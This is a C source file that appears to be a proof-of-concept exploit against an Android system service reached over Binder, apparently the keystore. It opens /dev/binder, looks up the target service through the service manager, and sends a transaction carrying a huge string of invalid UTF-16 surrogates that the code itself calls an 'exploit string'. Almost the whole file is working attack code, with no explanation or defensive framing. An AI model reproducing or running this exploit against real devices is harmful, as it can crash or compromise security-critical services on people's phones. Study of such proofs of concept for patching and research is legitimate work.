|
|
#include <stdio.h>
| #include <stdlib.h>
|
| #include <fcntl.h>
| #include <sys/ioctl.h>
| #include <sys/mman.h>
|
| #include "binder.h"
|
| struct binder {
| int fd;
|
| void* map;
| size_t map_len;
| };
|
| struct binder binder_open() {
| struct binder binder = { 0 };
| struct binder_version version = { 0 };
|
| binder.fd = open("/dev/binder", O_RDWR | O_CLOEXEC);
| if (binder.fd < 0) {
| fprintf(stderr, "binder_init() - failed to open /dev/binder!");
| abort();
| }
|
| if ((ioctl(binder.fd, BINDER_VERSION, &version) < 0)
| || version.protocol_version != BINDER_CURRENT_PROTOCOL_VERSION) {
| fprintf(stderr, "binder_init() - binder version mismatch!");
| abort();
| }
|
| binder.map_len = ((1 * 1024 * 1024) - (4096 * 2));
| binder.map = mmap(NULL, binder.map_len, PROT_READ, MAP_PRIVATE | MAP_NORESERVE, binder.fd, 0);
| if (binder.map == MAP_FAILED) {
| fprintf(stderr, "binder_init() - mapping /dev/binder failed!");
| abort();
| }
|
| return binder;
| }
|
| void binder_close(struct binder& binder) {
| munmap(binder.map, binder.map_len);
| close(binder.fd);
| memset(&binder, 0, sizeof(binder));
| }
|
| static int binder_write_read(struct binder& binder, uint8_t* write, size_t write_len, uint8_t* read, size_t* read_len) {
| int result = 0;
| struct binder_write_read wr = { 0 };
|
| wr.write_buffer = (unsigned long)write;
| wr.write_consumed = 0;
| wr.write_size = write_len;
|
| wr.read_buffer = (unsigned long)read;
| wr.read_consumed = 0;
| if (read_len) {
| wr.read_size = *read_len;
| }
| else {
| wr.read_size = 0;
| }
|
| result = ioctl(binder.fd, BINDER_WRITE_READ, &wr);
|
| if (read_len) {
| *read_len = wr.read_consumed;
| }
|
| return result;
| }
|
| static int binder_read(struct binder& binder, uint8_t* data, size_t* data_len) {
| return binder_write_read(binder, NULL, 0, data, data_len);
| }
|
| static int binder_write(struct binder& binder, uint8_t* data, size_t data_len) {
| return binder_write_read(binder, data, data_len, NULL, NULL);
| }
|
| static int binder_write_call(struct binder& binder, uint32_t handle, uint32_t code, uint8_t* data, size_t data_len, uint8_t* offsets, size_t offsets_len) {
| uint32_t write_buf[(sizeof(uint32_t) + sizeof(struct binder_transaction_data)) / sizeof(uint32_t)] = { 0 };
| struct binder_transaction_data* txn = (struct binder_transaction_data*)&write_buf[1];
|
| write_buf[0] = BC_TRANSACTION;
| txn->target.handle = handle;
| txn->code = code;
| txn->flags = 0;
|
| txn->data.ptr.buffer = (binder_uintptr_t)data;
| txn->data_size = data_len;
| txn->data.ptr.offsets = (binder_uintptr_t)offsets;
| txn->offsets_size = offsets_len;
|
| return binder_write(binder, (uint8_t*)write_buf, sizeof(write_buf));
| }
|
| static void hexdump(void* address, size_t len) {
| char ascii[17];
| unsigned char* ptr = (unsigned char*)address;
| int i = 0;
| for (i = 0; i < len; i++) {
| if ((i % 16) == 0) {
| if (i) {
| fprintf(stderr, " %s\n", ascii);
| }
|
| fprintf(stderr, "%08x: ", ((uint64_t)address) + i);
| }
|
| fprintf(stderr, " %02x", *ptr);
|
| if ((*ptr < 0x20) || (0x7e < *ptr)) {
| ascii[i % 16] = '.';
| }
| else {
| ascii[i % 16] = *ptr;
| }
| ascii[(i % 16) + 1] = '\0';
| ptr++;
| }
|
| while (i++ % 16) {
| fprintf(stderr, " ");
| }
|
| fprintf(stderr, " %s\n", ascii);
| }
|
| uint8_t data0[] = {
| 0x00, 0x01, 0x00, 0x00,
| // string16 'android.os.IServiceManager'
| 0x1a, 0x00, 0x00, 0x00,
| 0x61, 0x00, 0x6e, 0x00, 0x64, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x69, 0x00,
| 0x64, 0x00, 0x2e, 0x00, 0x6f, 0x00, 0x73, 0x00, 0x2e, 0x00, 0x49, 0x00,
| 0x53, 0x00, 0x65, 0x00, 0x72, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00,
| 0x65, 0x00, 0x4d, 0x00, 0x61, 0x00, 0x6e, 0x00, 0x61, 0x00, 0x67, 0x00,
| 0x65, 0x00, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00,
| };
|
| #define INVALID_0x100 \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \
| 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc,
|
| #define VALID_0x100 \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \
| 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00,
|
| #define INVALID_0x1000 \
| INVALID_0x100 \
| INVALID_0x100 \
| INVALID_0x100 \
| INVALID_0x100 \
| INVALID_0x100 \
| INVALID_0x100 \
| INVALID_0x100 \
| INVALID_0x100 \
| INVALID_0x100 \
| INVALID_0x100 \
| INVALID_0x100 \
| INVALID_0x100 \
| INVALID_0x100 \
| INVALID_0x100 \
| INVALID_0x100 \
| INVALID_0x100
|
| #define VALID_0x1000 \
| VALID_0x100 \
| VALID_0x100 \
| VALID_0x100 \
| VALID_0x100 \
| VALID_0x100 \
| VALID_0x100 \
| VALID_0x100 \
| VALID_0x100 \
| VALID_0x100 \
| VALID_0x100 \
| VALID_0x100 \
| VALID_0x100 \
| VALID_0x100 \
| VALID_0x100 \
| VALID_0x100 \
| VALID_0x100
|
| uint8_t data1[] = {
| 0x00, 0x01, 0x00, 0x00,
|
| // string16 exploit string
| 0x00, 0x00, 0x04, 0x00,
|
| INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000
| INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000
| INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000
| INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000
|
| INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000
| INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000
| INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000
| INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000
|
| INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000
| INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000
| INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000
| INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000
|
| INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000
| INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000
| INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000
| INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000
|
| 0x00, 0x00, 0x00, 0x00,
| };
|
| int main(int argc, char** argv) {
| struct binder b;
| uint8_t data[0x400];
| uint32_t output[128];
| size_t output_length = sizeof(output);
| uint32_t* ptr = NULL;
|
| uint32_t keystore_handle = 0;
|
| // open binder
| b = binder_open();
|
| memset(data, 0, sizeof(data));
| memcpy(data, data0, sizeof(data0));
| uint8_t* bptr = &data[sizeof(data0)];
| *((uint32_t*)bptr) = strlen(argv[1]);
| bptr += 4;
| for (int i = 0; i < strlen(argv[1]); ++i) {
| *bptr++ = argv[1][i];
| *bptr++ = 0;
| }
|
| // get a handle to the target service
| binder_write_call(b, 0, 1, data, sizeof(data), NULL, 0);
| binder_read(b, (uint8_t*)output, &output_length);
| hexdump(output, output_length);
| ptr = output;
| while ((char*)ptr - (char*)output < output_length) {
| switch (*ptr++) {
| case BR_REPLY: {
| binder_transaction_data* txn = (binder_transaction_data*)ptr;
| if (txn->data_size != 24 || txn->offsets_size != 8) {
| fprintf(stderr, "[!] bad response from service manager :-(\n");
| }
|
| uint32_t* data_ptr = (uint32_t*)txn->data.ptr.buffer;
| hexdump(data_ptr, txn->data_size);
| keystore_handle = data_ptr[2];
| fprintf(stderr, "[*] keystore_handle = %u\n", keystore_handle);
| } break;
|
| default: {
| } break;
| }
| }
|
| // send a ridiculous unicode string :-P
| binder_write_call(b, keystore_handle, 25, data1, sizeof(data1), NULL, 0);
| binder_read(b, (uint8_t*)output, &output_length);
| hexdump(output, output_length);
|
| return 0;
| }
|
|